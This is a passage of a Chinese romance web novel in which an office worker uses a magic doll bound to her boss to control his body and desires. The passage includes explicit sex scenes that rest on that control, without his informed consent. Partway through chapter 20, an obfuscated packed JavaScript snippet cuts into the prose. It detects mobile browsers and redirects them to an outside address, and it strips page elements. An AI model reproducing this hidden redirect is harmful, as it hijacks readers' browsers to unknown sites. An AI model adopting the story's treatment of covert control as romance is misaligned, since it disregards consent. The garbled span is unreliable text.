由于是第一次和沈决远开视频,她有些紧张和局促,甚至连手机放在哪里都不知道。特地找好角度,放在离她有些远的化妆桌上,因为可以更好的看清她的全身。 而视频那边的沈决远,显然没有她思量的周到,他只是随意地拿着手机,连角度都没有找。 池溪还是第一次以这个角度,如此近距离地看他。 太近了,近到有些暧昧。 甚至能够看清他的睫毛,和鼻梁两侧的双c线弧度。 原来它们的形成是因为优越的鼻骨和下颌骨衔接而成。 不是两条线,而是下压的阴影。 “不用。”沈决远淡道,“手机拿在手上。” “哦。”池溪乖乖照做,手机拿到跟前,她又是摸鼻子,又是整理头发,总觉得自己哪里都是问题。 她没有沈决远的随性松弛,整个人紧绷又局促,生怕自己哪里不够好看。 就像微微说的那样,沈总和她们的阶级层面不同,到了他那个地位,什么样的美女没见过,他是不可能看上办公室里的牛马的。 这句话就像是一个沉重的耳光,打醒了池溪。 她担心挑剔的沈董会冷淡地指出她身上的问题。 但他什么也没说,而是直接进入主题。 池溪愣住了。 这下也不再思考他能不能看上坐在办公室里的牛马,也不担心自己有没有哪里不够好看。 她愣愣地看着手机,6英寸的屏幕,却能装下如此庞然巨物。 黑金腕表的表盘在室内灯光的映照下,散发着冰冷的光泽,此时这抹光不断地晃荡,速度由缓至快,但始终从容。 上卷的衬衫袖口,露出的半截小臂,线条流畅结实。甚至可以看清上面凸起的青筋。 非常有冲击性和性张力的一幕。池溪早就看呆了。 沈决远除了呼吸稍微加重一些之外,并不见其他反常。甚至漫不经心地抽着烟,聊到池溪的工作进度。 “上周让你修改的策划案改好了吗?” 为什么要在这么快乐的时候说这种扫兴的话?池溪抿了抿唇:“正在改...但要改的地方太多了。” “除了我加粗描红过的地方,其余部分无需修改。”他给了她优待。 池溪现在对‘粗’这个字非常敏感:“好...那我应该下周就可以....” 她坐在开了暖气的房间,身上穿着维秘的波点睡衣。 暖气将打翻的香水烘干,挥发在空气里的那股香味结合她刚洗过澡身上沐浴乳的柑橘味,产生了一种独一无二的化学反应。 池溪并不知道这股味道居然能够飘向大洋彼岸,让此时正在和她开视频的男人也闻到。 他低声问她:“为什么和我说话总是畏畏缩缩,你很怕我?” 岂止是怕。 简直是畏惧,恐惧.... 池溪口是心非地摇头:“不怕。” 声音低了几个度,眼神闪躲,已经是很明显的撒谎状态。 但男人并没有继续追问。他总是点到为止,这似乎是一种包容和大度。但只有身处其中的当事人才能感知到。 比起包容,更像是一种不在意。 不在意答案,也不在意对方是不是真的害怕自己。 因为傲慢,所以想问就问了。 他的身体向后仰靠,放松地倚在沙发上。 受手机角度限制,池溪看不清他的脸,只能看见腰部以及大腿之上那一小块区域。衬衫隐约可见他宽大的身躯。 池溪曾无数次被这个身体拥抱时感受到源源不断的安全感。 干净的粉在虎口不断冒头,池溪受不了了,将脸埋进枕头里。 “喜欢看吗?”他问她。 池溪红着脸,很轻地点头:“嗯。” 这似乎是正确答案,沈决远再次开口:“我记得你房间里有一个娃娃。” 池溪愣住了,结结巴巴:“你你你你...你怎么知道?” “司桥告诉我的。”他没有撒谎。 那种瞒了很久的事情被当事人发现的心虚瞬间冒了出来。池溪不安地咬着嘴唇:“您..您听我解释。” “不用解释。”他刻意停顿,在池溪的恐惧达到顶点时,才不紧不慢地继续,“是以我的脸为模板吗?” 池溪已经分不清是暖气太高,还是自己的体温在恐惧中不断升高。 “对....和您是不是很像,我当时订做那个娃娃的时候老板让我提供一个范本,说最好是骨相立体一点的,否则在娃娃身上呈现出来的效果会不好。我....我当时就想到了您,因为我身边就您一个混血,嗯...我觉得混血的骨相会立体很多,所以就...对不起....” 她语无伦次地撒谎解释,由于是临时胡编,基本上想到什么说什么。一段话说的毫无逻辑。 她也清楚,沈决远那么聪明的人,只通过她的语气就能判断出她哪句是真话哪句是假话。 主导权始终在他的手上,他可以轻飘飘的用一句话让她害怕到汗流浃背心跳加速,也可以轻飘飘的放了她。 “是吗。”他抽着烟,池溪听到了逐渐粘稠的摩擦声,“去拿过来,我想看看。” 很显然,他这次打算轻飘飘的放了她。 即使心里再不愿,池溪也只得听话照做。 娃娃就在旁边放着,她一伸手就能拿到的距离。 “的确很像。”他给了很高的评价。 池溪抿唇;“嗯,我也.....觉得很像。” 在她以为逃过一劫的时候,她看见屏幕内,沈决远空闲的另一只手夹着雪茄,放在烟灰缸旁轻轻掸了掸。 “脱掉它的衣服。”他的语气很淡,不像命令,却让池溪不敢反驳。 很多时候,她都觉得沈决远的威慑力是一种天然压迫。像大自然的食物链,豹子生性就是很多动物的天敌。 池溪被他压的死死的。她听话地将娃娃的毛衣脱掉。 成男脸配上q版的身材比例,有些违和的可爱。 为了防止沈决远三言两语地套出真相。池溪赶在他开口前先开了口。 “身材也可以订做..所以....” “是吗,你按一下,然后告诉我是什么手感。”他打断她。 池溪伸手按了按娃娃的胸口,告诉他:“软的。” “里面是棉花?” “应该不是,好像是某种特殊材质。”池溪不知道事情怎么就发展这个步骤,明明她是抱着某种变态的期待接通视频的,现在却像在汇报功课的学生一样。 一板一眼地认真研究起娃娃的材质:“比棉花更有弹性一点。” 胸口的填充物有点多,会影响手感的判断,于是池溪选择了平坦紧实的腹部,她用手捏,捏完又去按。还是没办法判断出里面到底是什么东西。 其实她也很好奇这个娃娃的构造,究竟是怎么根据被绑定人来改变形象的。 像巴啦啦小魔仙那样?看来下次再更换绑定人的时候,她得时时刻刻都在旁边守着。 等等—— 像是突然意识到什么,她看了眼正不断抚摸娃娃的那只手,暗叫不妙,又去看屏幕内的男人。 他的衬衫下摆不知何时从西裤中抽了出来,隐约可见壁垒分明的腹肌。 速度也明显变快。 池溪的脑子嗡的一声炸开。 她觉得自己很坏,明明这样是不对的,她居然以此为乐。 以掌控别人为乐。 是的,她在此刻想到的不是被沈决远察觉出真相的恐惧,而是可以通过娃娃来控制他的小人得志。 她..... 池溪的手悄无声息地放在娃娃的腿上。 她痛恨自己这一点,可是又无法抗拒。 于此同时,伴随一阵性感闷哼,男人的后背离开沙发,西裤被骤然贲胀的大腿肌肉绷紧。 他微微吸气,窄腰挺了挺。 总是藏在绅士儒雅的西装下的,这副性感结实的身体,此刻肌肉线条贲张到西装也无法遮住轮廓的程度,甚至连凸起的青筋也隐约可见。 池溪想,看来他并不知道自己身体的不对劲是怎么回事。 有一种她成为了主宰一切的上帝。平时那个无法企及、令她望而却步的强大男性,正在被她玩弄和掌控。 “那个....您还好吗?”她故意询问。 “嗯,我没事。”即使声音已经沙哑到像是生吞了一把烧烫的沙子,但仍旧可以以冷静从容的语气回答她。 这也是池溪觉得不公平的地方。 这个人似乎永远没有狼狈的时候,即使在和她做那种事情时,也总是她一个人在狼狈。无论是哭着求饶还是失禁,她就像是一个没有自控力的婴儿。 不仅不狼狈,甚至可以分神关心她:“你父亲的事情你应该听说了。” 这番话让池溪收起了所有杂念。她迟疑片刻,点了点头:“嗯....” 父亲在接受调查,现在已经被带走了。这个消息是池溪听他的女儿说的。 对方来找了她,因为父亲现在需要有个干净的背景,所以她让池溪暂时回到周家。 “想好怎么选了吗。” 池溪知道他是在问她,是打算继续住在沈家,还是回周家。 其实对于池溪来说沈家和周家没什么区别。 虽然沈司桥走了,但都是寄人篱下,不分姓周还是姓沈。 如果可以,她更想自己搬出去住。 “我想....我想留下来,可以吗?”现在这个状况,她肯定没办法离开沈家。万一被父亲的对家盯上怎么办。 还是在沈家更安全,至少有人庇佑。 虽然她总担心自己说错话惹沈决远不高兴,他会将自己连人带行李统统打包扔出去。 剥离了绅士皮囊,他的人性底色是傲慢绝情的。这点池溪丝毫不怀疑。 他的冷血无情到了一种连他的父亲都感到畏惧的程度。池溪对他存在恐惧也有一部分这方面的原因。 怎么能有人做到真的没有感情。她还是更喜欢外表锋利,内心柔软的人。显然沈决远无法达成,所以她对他只能算一种身体上的欲念。 至于沈伯父,他的性格一向谨慎,很大可能会因为担心父亲的事情牵连到自己,而迅速与他切割。 这样的结果就是,池溪会被‘赶’出去。 在这个家里,沈决远的话语权是最大的。 她现在能够依附的只有他了。 唉。 池溪想,她总是表现的很乐观,所以朋友认为她活得很轻松。 其实她痛苦死了。从熟悉的县城被带到陌生大都市,不断接受鄙夷和无视,过着寄人篱下的生活。 沈家的两个儿子也总是欺负她。 池溪想,最多再忍一个月,等父亲的调查结束后,她会立刻抛下一切回到自己熟悉的县城。 她的人生就应该在下班后和朋友去买奶茶逛三福,最后在同事的介绍下相亲,遇到自己的另一半。 她不敢肖想沈决远这样的男人。她唯一的下场就是被吃干抹净然后剩下骨头被无情抛弃。 “我想留下来.....我不知道这样会不会引起您的反感....”池溪委屈巴巴地撒娇讨好,“可以吗...哥哥。” 可能是窝囊久了,她的长相看上去楚楚可怜,此时耷拉着唇角,清澈的狗狗眼甚至可以看见倒映在里面的手机屏幕,以及屏幕内那只还在不断动作的左手。 甚至为了让沈决远产生一种心动的错觉,池溪试图用手去按压他的左胸腔,以此来刺激他的心脏。可是眼睛还得盯着屏幕装委屈,那只手胡乱地在娃娃身上摸来摸去,最后精准找到鼓起的胸肌。 她像做心肺复苏那样不停地用手按压。 然而事情的发展和池溪想的不太一样。 她是事后才发现,自己找到的那处鼓起不是胸肌。 - 之前发布求助帖的楼主时隔一个多月终于再次现身。 她就像是发布考题的老师,每次出现都会带来一个新的问题。 ——该怎么合理地处理和crush之间的关系呢,我们后来又睡过好几次,并且今天还发生了一件非常非常尴尬的事情。我觉得这样是不对的,我应该怎么做呢(╥﹏╥) ——佩服楼主,被骂了两百多楼居然还这么信任我们这些网友给你出的馊主意。 ——求你了我真的想看你的猪精河童crush长什么样。 池溪艰难地从这些评论中找到几条仔细替她出主意的。 她看了眼ip,显示未知。 对方问:——既然睡了那么多次,为什么不在一起? 池溪回复:——很复杂,不好解释。 ——为什么不好解释? 池溪觉得这人问题有点多,而且问的很直接,说明这人在生活中很强势且掌控欲也强。 他是当领导当习惯了吗? 但难得找到一条没骂她的评论,她觉得认真回复才是正确的。 ——很多种原因。你知道我应该怎么做吗? 这条评论发出去后,过了很久也没有等到对方的回复。 直到池溪返回后台时看到一条私信。 ——我没有发言次数了。 池溪这才反应过来,这是一个刚注册不久的新号。 好吧,她这个论坛元老顿时对这个萌新起了一种怜爱之心。 她高贵的赏赐了他一个回关。 然后问他:——你觉得我应该做呢? 对方回复:——你不说明理由,我也不知道怎么帮到你。 池溪想了想:我认为crush和想要结婚的对象是不同的。而且...怎么说呢,我们做的原因比较特殊,我们做的原因也不是因为有感情。 池溪苦恼的就是这点,她不希望继续以这种方式和沈决远保持不清不楚的关系。 沈司桥的下场她看在眼里,他去法国已经两周,和国内彻底断联。连郑伯母都联系不 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虽然不知道是什么惊喜,但大概和相亲有关。 不是她多聪明多敏锐,而是到了这个年纪,同学相聚已经离不开这些事情。 听说董事长从国外回来了,那些高层都去了顶楼开会。公司在董事长的治理下不仅营收巨额增长,重回国内前三,股价一路高涨。甚至还开设了多家分公司。 因为董事长在海外的影响力,海外市场也很轻松地全部打通。 “海外市场的重心在北欧,不过也能理解。听说沈董是挪威人,我一直很想去那里看极光。但那里不太适合我这个爱emo的人居住。” 听到同事的话,池溪好奇问道:“为什么不适合?” 同事答:“那边不是极昼就是极夜,极昼我还行,连续几个月都是晚上,对于我来说简直是噩梦。” 池溪想,其实她一到晚上就容易emo。但如果是和沈决远在一起。 连续几个月的黑夜,那岂不是可以一直做..... 等等,她在想什么乱七八糟的。 她拼命摇脑袋,生怕这个偶然冒出的念头也能变成现实。 “小溪,将这几份资料送去董事办。” 副部长敲了敲她的桌子,池溪立马停止正在摇晃的脑袋:“好的。” 然后结束和同事的闲谈,起身离开。 她在公司通常会穿的很职业,一件浅杏色的v领针织衫,米白色高腰包臀裙,勾勒出纤细腰肢和圆润臀部的绝佳比例。柔顺的长发随意地挽在脑后,一侧耳边垂下来几缕碎发。 踩着低跟鞋出现在董事办外,轻轻敲门后,小心翼翼地探头进去:“沈董,我是来送文件的。” 此时正在开会的那些高层纷纷将视线看向她。 池溪无法承受这些高位者们所带来的压迫感,更何况这里还有这么多。 她眼观鼻鼻观心地走过去,从桌尾开始,依此将文件分发。最后一个自然是坐在首位的董事长。 男人一身深色西装,磅礴气场像一座山一样压着所有人。包括池溪。 她低着头毕恭毕敬地将文件放在他面前。 “丝袜。”男人拿起文件翻开,低声提醒她,“抽丝了。” 池溪直到此时才惊恐地发现裙摆下面居然抽丝了这么一大块。虽然是肤色的丝袜,但抽丝后仍旧明显。 毕竟范围太大。 沈决远不动神色脱掉自己的外套递给她:“帮我拿出去。” 池溪松了口气,看来人顺的时候老天都会帮她。 一切都来的如此凑巧,刚好她缺个东西挡一挡,刚好沈决远脱下外套让她帮忙拿出去。 池溪感谢完老天爷后,点头说了声好。接过他的外套挡在身后,然后脚步匆忙地离开。 出去的第一件事就是把丝袜脱了。 去还外套的时候才发现沈决远已经回到了办公室,除了他之外,办公室还有几位同样西装革履气场强大的人。 池溪想,他们应该是沈决远的合作伙伴。 她觉得自己作为公司员工,应该懂事一些。于是她主动去茶水间泡了一些咖啡端过来。 由于几杯是分开泡的,送到董事长办公室后就冷掉了。 想了想,池溪只泡了四杯。她再次来到办公室,先是局促地站在外面等。得到沈决远的点头后她才敢进去。 将咖啡从托盘上一一拿下来,放在客人面前。 她用蹩脚的英文说:“这是我泡的咖啡,请慢慢享用。” 对方礼貌地道谢。 池溪笑容羞涩地摇摇头。 沈决远看了眼自己空荡荡的办公桌。镜片下的双眸抬起,似乎在用眼神询问:我的呢? 池溪抱着托盘抿了抿唇:“我记得您不爱喝冷掉的咖啡,所以就没给您准备。” 她还记得。 刚住进那个家里的时候,她为了讨好沈决远,答应了佣人的请求,替她将咖啡送到沈决远的书房。 但他对她的存在置之不理,全程都在忙于自己的工作,连头都没有抬一下,直接让她出去。 又在她再次提出为他泡咖啡时,他以不喝速溶为由拒掉了。 池溪知道,他嫌弃的不是冷掉的咖啡,也不是速溶咖啡,而是她。 她很窝囊,但也有属于自己的自尊心。 可惜没有报复的能力,于是只能暗自发誓,以后不会再给他泡咖啡。 虽然知道这个窝囊的‘报复’对沈决远来说算不了什么。 他根本不会在意一个员工泡的咖啡。 池溪抱着托盘离开时,看了眼他的办公桌。 桌上放着沈决远的手机,已经不是之前那部了。 他果然换了一部。 也是,那部手机他肯定不会再用,这是毋庸置疑的。 池溪低着头离开,所以没有看见沈决远微微绷紧的下颚。 她想起那天发生的事情,根本做不到像沈决远这样无动于衷。 她甚至不敢和他对视。 否则那个画面又会浮现出来。 在听完她撒娇说的那些话后,沈决远沉默了很久。 但速度骤然加快了,然后让她喊自己的名字,池溪不明所以地喊了:“沈....决远?” 他很有绅士风度地询问她:“我可以叫你的名字吗?” 她当然点头:“可以的。” “池溪。”他低沉沙哑的声音此时更加性感。 池溪一直都觉得他很迷人,这种迷人是不需要加任何前缀的,无论他在做什么事情,都会让人自发性的为他倾倒。 听到自己的名字从他的口中读出来,池溪的心脏砰砰跳了一会儿。 然后,他很轻地笑了一下,气音靡靡,“池溪,怎么连名字也这么多水。” 池溪的脸红了,这种时候的下流和调情有什么区别。 接下来他一直断断续续地喊她的名字。 池溪满脑子都是各种低沉沙哑的‘池溪’ 一阵闷哼之后,她不知道手机屏幕怎么了,就连摄像头也被糊住。一瞬间什么也看不见,只能看见融化的白色云朵,正在往下流淌。 “池溪,你知道我现在最想做什么吗?” 男人喘着粗气问她。 听完他的话后,池溪的脸红了很久。 她想,他其实可以摸自己的。 他的胸也很大。 20.第二十章 池溪想的没有错,沈伯父的确因为父亲的事情想要扔掉自己这个烫手山芋。 但很显然,她‘讨好’沈决远的计划奏效了。因为饭桌上,没有任何人敢提起这件事。 唯独郑伯母没有断了为她介绍相亲对象的想法。 今天是谁家的司机,后天是退伍的保镖。池溪并非嫌弃这些职位,她想起沈司桥说过的那句话:“因为在她的眼里,你的身份和司机没有区别。” 池溪无法说清自己的感受,她本身就不是这个世界的人,与生活在这里的人格格不入。 如果她还待在那个小县城,现在应该过着三千月薪的打工生活。年薪二十万的司机的确配她绰绰有余。 但是这种居高临下的施舍让她感到不舒服。在她思考接下来该如何拒绝郑伯母才不会显得生硬时。 沈决远缓声打断了一切。 “既然她不愿意,就不要再以长辈的身份施压了。” 今天吃的是中餐,他放下筷子,目光平淡。 郑伯母被震慑住,她愣愣开口:“决远,你误会了。我只是觉得她父亲将她交给我们,我就应该替她谋划,她这个年纪.....” “既然是为了她好,就更应该尊重她的意愿。” 沉稳有力的声音在耳边响起,池溪的心脏以一种怪异的频率跳动。 “想要证明自己的价值,就去做些有意义的事情,而不是强迫小辈结婚。” 事实上,在这个家里一直都是沈决远在向下兼容。沈予亨享受父权带来的压制,郑娴则习惯用‘为你好’这句万能公式来强迫别人。 沈决远显然看不起这些行为,但他也很有绅士风度地配合完成这场幼稚的家庭游戏。 这是他第一次如此直白地打断郑娴的发言。 明明这张餐桌上,坐在主位的是沈予亨,年纪与辈分最长的也是他。 反而是穿着随性的沈决远气场更盛。 沈予亨想开口劝一句,但沈决远已经拉开椅子起身。 他看了一眼还缩着肩膀坐在那里装鸵鸟的池溪,眉头微皱。 “吃饱了吗?” 她如释重负,点头:“饱了。” 他傲慢地转身:“那就跟过来,有些工作还需要你去处理。” 池溪笑容尴尬,却还是礼貌的和郑伯母还是沈伯父打了招呼:“我吃饱了,你们慢慢吃。” 然后加快脚步跟上。 沈决远的书房还是一如既往的明亮宽敞,窗户外就是花园,甚至还能看见吃草的羊,此时夕阳落下,铺着一层碎金的光,浪漫的像莫奈笔下的花园。 沈决远随便递给她一些文件,让她看一遍。 池溪低头接过,但却没有抽动,文件仍旧被男人拿在手中。 她又用力抽了抽,还是纹丝不动。 池溪抬眸:“呃....我拿不动。” 沈决远让她过来的目的显然不是这个,他稍微松手。 池溪看到他双臂环胸靠站在身后那张桌前,整个人有种傲冷的随性与懒散。 或许是因为今天穿的黑色毛衣过于居家,池溪居然从他身上感受到了年上特有的人夫感。 “你想搬出去住吗?”他问她。 池溪一下子就愣住了,她慌乱道:“什么?您答应过我,让我暂时住在这里的.....” “我可以给你安排一个新的住所,不用担心安全问题。” 沈决远下意识伸手去拿雪茄,但不知道为什么,他看了眼站在前面的池溪,伸出去的手又停下了。 “分公司的事情也定下来了,你上次说想回老家。”他走到书桌前,翻开档案袋,“我会通知人事将你调回去。你放心,你的职位和工资不会变。” 明眼人都能听出他在赶自己走。这似乎是个很不错的调动,老家的消费相比北城来说低太多,以现在的工资,她在那边可以拥有一个非常优渥的生活。 而且,他说会给她安排住所,意味着她不需要承担房租的费用。 可是.... 池溪不理解自己做错了什么,他要赶自己走。 “是我做错了什么吗?” 直到最后,沈决远还是点燃了那支雪茄,他走到窗边:“你没做错什么,这是我单方面的安排。” 甚至连个解释都没有。 池溪咬了咬唇,眼睛不争气的红了。 气红的。 狗日的,她最讨厌他这副高高在上的样子。 在他这里永远不存在询问对方的意见或是想法。 他居然还用‘尊重’二字提醒郑伯母,明明是他自己都做不到的事情。 好吧,这里她就有点恩将仇报了。毕竟沈决远刚才帮了她。 她越想越气,加上不争气的泪失禁体质,眼泪又开始往下掉。 打湿了她的脸颊,也打湿了脚下的地毯。 不知道为什么,在看到她泛红的眼眶时,沈决远无法再像之前那样保持平静。 他只能抽着雪茄扭头去看窗外的景色。 最近在他身上发生的一切都显得非常奇怪。 在得知那个东西的作用之后,他居然会默许她继续。 这种没有底线的纵容,对于严苛的他来说很不合理。 池溪走了,抱着那堆文件。她自己难过的哭了一会儿,然后又去拿平板看漫画。 漫画的男主是她的理想型。 这是她的解压方式,担心影响到沈决远,已经很久不敢看了。 现在才发现自己这种做法有多愚蠢。那个该死的沈决远。 她是高三毕业那年第一次发现自己的理想型。 在那场宴会上见过沈决远后,她按照自己对他的第一印象上网搜了相关的标签。 ——绅士儒雅年上 然后就出来了一个关键性的词语:daddy,爹系男 对池溪来说,这是安全感的代名词。 在强势掌控你的同时,也会温柔地包容你的一切。 对于缺少父爱的池溪来说,是她完全无法拒绝的事情。 她旁敲侧击打听过关于他的事情。 得到的信息却少得可怜。只知道他叫沈决远,父母离婚后,他被带去了北欧,在挪威生活。 其实池溪试图联系过他。 那大概是她这辈子最勇敢的一次,她在沈伯父的电脑中看到了他的邮箱账号。 那是一次意外,她并非故意翻看伯父的电脑,而是在不小心打翻水杯后,她拿纸巾擦拭,抬头时刚好在电脑屏幕上看到还未退出的界面。 是沈决远的回信。 ——Alt er bra, takk for bekymringen 她用手机翻译,才知道那句话的中文意思是:一切都好,多谢关心。 很冷淡疏离的语气。 池溪悄悄记下了他的账号,偶尔会给那个账号发一些节日祝福。 虽然对方没有拉黑她,但也从未回复过。 运气好的时候,她的邮件会被拆开。 但同样的,没有收到回复。 似乎这封邮件只是不小心被拆开。 仅此而已。 于是这段萌生的初恋单方面持续了两年之久,逐渐被池溪淡忘。她不再给那个账号发送邮件,也不再沉迷这个只见过一面的男人。 但他的的确确改变了她的择偶观。她渴望强大的男人,她总是会在无助的时候梦到他,梦里他抱着自己温柔安抚,让她不要怕。 “但那些只是梦。” 漫画里的女主似乎和池溪拥有相同的想法,于是池溪反驳了那句台词。 梦里的人是无法走出来的。她的初恋只是自己臆想出的沈决远。 真实的沈决远根本就不是这样的。 她反驳完之后,不断下滑页面的手指停住了。 漫画到了尾声,那个控制欲强的男人居然和女主的梦境重叠。他温柔地亲吻她,告诉她:“I love you. You’re my greatest treasure, and you mean everything to me—you’re my whole life, Anna.” 小的时候,妈妈总是很忙碌,池溪从六岁开始就自己上下学。第一次遭遇车祸是在她八岁,虽然只是被不看红绿灯的电动车撞到,但她还是在医院住了一个月,因为小腿骨折。 妈妈只来看过她一次,她太忙了,忙着维护客户,忙着推销产品,忙着应酬。 池溪从来没有怪过妈妈,她反而担心妈妈将她当成累赘扔掉。 十岁那年,家里来了一个高大英俊的叔叔,他亲昵的称呼妈妈为亲爱的。 妈妈也曾经试探地问过她:“小溪想回老家和外公外婆生活吗?” 她害怕到手在颤抖,却还是听话懂事地说愿意。 虽然这件事最后不了了之,因为妈妈发现那个男人有家庭。而她,在不知情的情况下当了小三。 池溪有时候会想,这个娃娃或许是老天爷看她太可怜,所以送给她的。 可她很没用,就算拥有这个娃娃,也没有变得幸福。 她不知道自己是什么时候睡着的,只知道醒的时候,房间内不止她一个人。 她揉了揉惺忪睡眼,从床上坐起来。 或许是为了照顾她的睡眠,房内没有开灯,只有书桌上的那台电脑散发出的微弱荧光。 坐在电脑前的男人戴着一副黑框眼镜,柔软的头发少见地不再是一丝不苟的成熟背头,而是随性的顺毛短发。 冷硬的额骨被遮住,整个人缺少了一些锋利,多出柔和。 黑色毛衣则令他看上去变得温暖。 听到床上传来的动静,他平静地看向她:“我吵醒你了吗?” “没有。”池溪坐起身,这才发现自己身上的衣服换了,不再是刚才穿的睡裙。 甚至连.... 她突然想起什么,伸手掀开被子。 就连裤子也换了。 她看漫画时有diy的习惯,刚才累了就直接睡着了。 东西还塞在里面,漫画也..... 她红着脸看向他。 是他帮自己收拾的吗?衣服也是他帮忙换的? 沈决远开了灯,起身走到她身旁,弯下腰时,池溪闻到那股让人上瘾的淡淡檀香。 男人宽大的手放在她额头上探了探体温:“你感冒了,知道吗?” “啊?”她尴尬到想死的心都有了,“不..不知道。” “我喂你吃了药,好在烧已经退了。”他显然没有离开的打算,甚至随手拉了一把椅子过来,坐在池溪的床边。 有和她彻夜长谈的打算。 他这个态度让池溪感到不妙。 为了照顾到小朋友的自尊心,他尽量让自己的语气婉转一些:“你最近性-欲很强?” “啊???”池溪已经尴尬到不知道该做出什么表情了,“我没....那个其实是....我.....” “没什么不好回答的,这很正常,你已经二十三岁了。” 即使他的态度表现的很平常,但对池溪来说,这种事情足够她死一百次了。 太羞耻了。她无法想象沈决远是怎么将那个东西替她取出来的,又是怎么替她清洗干净然后换上睡衣。 她只能硬着头皮解释:“我是因为压力太大,所以才.....” “压力大..是因为我刚才和你说的那些话?” 她摇头:“不全是。” “不全是就是有一部分原因了。”他说,“池溪,看着我。” 她愣愣地抬起头。他的反常态度让她猜到了七八。估计又是那个娃娃...... “是我的原因,虽然不知道该怎么和你解释。”男人停顿片刻,和她坦白。他的语气娓娓道来,声音也是舒缓温和的,“我最近的确在因为你而感到困扰.....这在我前二十八年的人生中,从未有过的,池溪。” 陌生,但又清晰。就像是有些东西正在逐渐‘失控’ 沈决远是个擅长掌控别人的人,无论是思想还是人格,亦或是行为。他的强势无孔不入。 而被‘掌控’,显然是他无法容忍的。 但是,在察觉到那个娃娃才是自己反常行为的元凶时,他并没有摧毁或是质问池溪。 而是物归原主。 他在希望事情继续下去。 希望有个名正言顺的理由屮她。 他不理解自己为什么要这么做。但他没有和自己的欲望做对抗,而是选择了顺从。 那个东西影响自己的方式,是让他爱她。 □*□ 与她看的那些奇怪漫画不同,血液每一次向下汇聚,都是因为爱她。 爱是欲望。爱得越深,欲望就越强。 他每一次,脑子里都只有一个想法。 干死她。 “如果你因为我而难过,我和你道歉。”男人坐到床上,温柔地将她抱进怀里。 池溪听到头顶传来的声音,愣了好久。 漫画里的剧情,男主因为女主的眼泪而屈服。 那么他也..... “真是辛辣的眼泪,让人想不在意也难。”他低声轻喃,抚摸她的头发,找好角度让她以最舒适的方式靠在自己怀里。 池溪的脸颊贴在柔软的毛衣上,的确和她想象的一样温暖。饱满起伏的胸口是夜晚emo最好的良药,将她的焦躁不安彻底缓解。 “抱歉,白天是我的问题。”他结实的手臂牢固地圈住她,“对不起,池溪。” 池溪突然很想哭。 她知道这是娃娃给她编造的一个美梦。直到这一刻她才彻底醒悟,她爱的不是沈决远,而是她想象出来的沈决远。 是娃娃按照她的想象操控了他。 一旦脱离这个设定,他又会变成她的噩梦。 算了,就用最后这个梦彻底让这个故事划上句点吧。 她自私的想。 他们那一次温柔又激烈。沈决远在保留平时的强势下,多出了那点为了哄她的温柔。 所以他会在一边用巴掌扇她臀部时,温柔地关心她疼不疼。 池溪摇头,手肘费力地撑着身下的床垫。 她觉得自己快要与床垫融为一体了。 她的意识早就飞走了,张着嘴想叫也叫不出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083878|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伸手想逃也逃不掉。 只剩下难耐的哭腔。 她狼狈到口水和眼泪一起流,完全不受身体控制的一种生理反应。 床前被他体贴地放上一面镜子,池溪可以看到自己和他。同样的,他也可以清楚地看到此刻的她。 池溪将头埋进枕头里,不希望自己这副难看的样子被他看到。 沈决远却将她从枕头里拔出来,捏着她的下颚亲吻她:“你似乎很喜欢这种状态。” “我..我没有。” 他含着她的嘴唇轻笑:“撒谎的孩子是会尿床的。” 他支起自己的身体,扶着她的腰,低下头。 池溪听到了巨大的吮吸声。 仅仅只用了五秒,她眼前就有一道白光闪过。 她昏昏沉沉地想,原来他刚才那句话不是提醒,而是一种准确的预言。 - 池溪白天去公司腿还在打颤,沈决远穿上衣服从她的房间离开时,温柔地亲吻了她。 池溪觉得应该以那个亲吻作为结束一切的终点。她这次是出于真心将那个娃娃锁起来的。 她觉得自己已经不再需要它了,就像她不再需要一个臆想出来的伴侣。 “你今天似乎心情不错。”一大早,微微就看出了池溪的反常,“平时看你总是一副担心受怕的小心翼翼。” 池溪松了口气,告诉她:“人在拥有秘密的时候通常会变得神经衰弱。” “是吗。”微微好奇地问她,“什么秘密?” 池溪想了想,神秘一笑,凑近她的耳朵:“我和董事长睡过。” “切。”微微耸肩,“不想说就算了,还拿董事长诓我。” 看吧,说实话也没人信。池溪专注地工作。 心中没有男人的时候,工作状态就会彻底.... 好吧,不管有没有男人,策划案还是好难写。 池溪发现自己最近进入董事长办公室的频率高了不少。 或许和她的新职位有关,虽然没有实权,只涨了工资,但很多工作都需要亲自和董事长交接。 今天的客人和往常似乎不太一样。 对方应该也是北欧人,因为他有着同样立体的骨相轮廓,但和沈决远相比,他显得逊色很多。 “Eli,你应该按时接受治疗,这是我作为一个心理医生给你的忠告。” 在池溪进来后,男人的目光漫不经心地落在她的身上,然后收回:“感谢提醒,但这件事等我回北欧再说。” 池溪听不懂他们的对话,只是觉得沈决远在说起挪威语时,有种和中文不同的儒雅性感。 他只穿了西装马甲和衬衫,宽厚的肩在低头时,甚至能看见衬衫处绷起的背阔肌线条。 倘若现在将衬衫脱掉,必定能看见遍布在后背的抓痕。 虽然听不懂话里的意思,但她大概能够猜出,对方和沈决远并不属于同一阶层的人。因为他和沈决远说话时,带着一种谦卑的劝说。 而沈决远,那种冷淡掌握一切的强势,压的人喘不过气。 池溪竖着耳朵想偷听。 但又听不懂他们叽里咕噜地在说什么。 她觉得和偷听两条优雅的狼狗汪汪叫没什么区别。 “可是你已经两年没有接受正规的治疗了,Eli,这对你的病情非常不妙。” 池溪将手里的文件放下,刚要离开,沈决远没有放在她身上、却全程都在关注她的注意力此时终于分给一点坐在他对面的男人:“之后再说。” 他叫住池溪,询问她:“明天要回老家?” 是之前墓地迁移的事情,因为那里要拆迁,所以村长通知她赶紧回去处理。池溪已经将钱打回去了,可她昨天听说了暴力拆迁的事情,据说是项目负责人找风水大师算过,说那里的墓地不吉利,有横死的人在。 池溪不清楚为什么都这个年代了,还有人信这个。 她无法接受外公外婆还有妈妈的墓地被破坏,所以已经找好了律师。 池溪点头:“嗯,所以我可能要请一天假。” 沈决远眉头微皱。 